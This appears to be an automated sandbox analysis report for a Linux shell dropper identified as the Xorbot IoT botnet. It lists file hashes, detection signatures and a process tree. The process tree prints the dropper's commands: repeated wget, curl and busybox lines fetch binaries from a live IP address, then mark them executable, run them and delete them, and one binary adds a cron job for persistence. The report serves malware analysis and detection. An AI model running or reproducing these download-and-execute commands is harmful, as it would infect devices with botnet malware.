Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    11/12/2024, 13:37

General

  • Target

    2F2AM_bins.sh

  • Size

    10KB

  • MD5

    5487a00d588e2fdee33384c6b9083650

  • SHA1

    42d5da8e0c679b5ea93e9de5acb601fd23b68d74

  • SHA256

    2c63a569d43b7721befa5dc6c53dc0d804dcc9302c76c9b789eb1a06d2c111fc

  • SHA512

    3d9256d28169556b0aad9cd820dc6c931c4d02608aa9749ec56e4ae3e288babc3a1e8553c5982b7998acafb808d0a49f9c296f6ee8e0b2c358c1016730e6866d

  • SSDEEP

    192:RfUJYggpIpkktsx4uxlenHOqtx547v+zFFw9Zhkkts3xlq3OqHx547vSFFw9ZvAh:RfD4uxlenj/xlqQW

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1506) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2F2AM_bins.sh
    /tmp/2F2AM_bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.164/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • File and Directory Permissions Modification
              PID:758
            • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
              • Executes dropped EXE
              PID:760
            • /bin/rm
              rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
              2⤵
                PID:763
              • /usr/bin/wget
                wget http://216.126.231.164/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:764
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/chmod
                chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • File and Directory Permissions Modification
                PID:788
              • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                • Executes dropped EXE
                PID:789
              • /bin/rm
                rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
                2⤵
                  PID:794
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Writes file to tmp directory
                  PID:796
                • /usr/bin/curl
                  curl -O http://216.126.231.164/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.164/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/chmod
                  chmod 777 iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • File and Directory Permissions Modification
                  PID:806
                • /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  ./iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:807
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:809
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:810
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:811
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:812
                    • /bin/rm
                      rm iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
                      2⤵
                        PID:814
                      • /usr/bin/wget
                        wget http://216.126.231.164/bins/crKm0VGNl5ReYKdLFb5lRRufXOR05xBwUW
                        2⤵
                          PID:817

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /var/spool/cron/crontabs/tmp.DN1gr7

                        Filesize

                        210B

                        MD5

                        41fcbc9a598c2a3fc5d4b244a547de48

                        SHA1

                        f70bf56679aba5fbb549e7e3c9bfada6067df2c4

                        SHA256

                        e067c0e4a0f55d6256becb22256bb7ba61bdb1796fd5bca48b1f98b1191701ef

                        SHA512

                        12cbc20e9017b4c2197300b3b5e9439793b4a54e7b14c36655503be4424e7a98c2dc0441e8ce91305b99d7391804a342795cc9efe29c480e090783af91f73bd5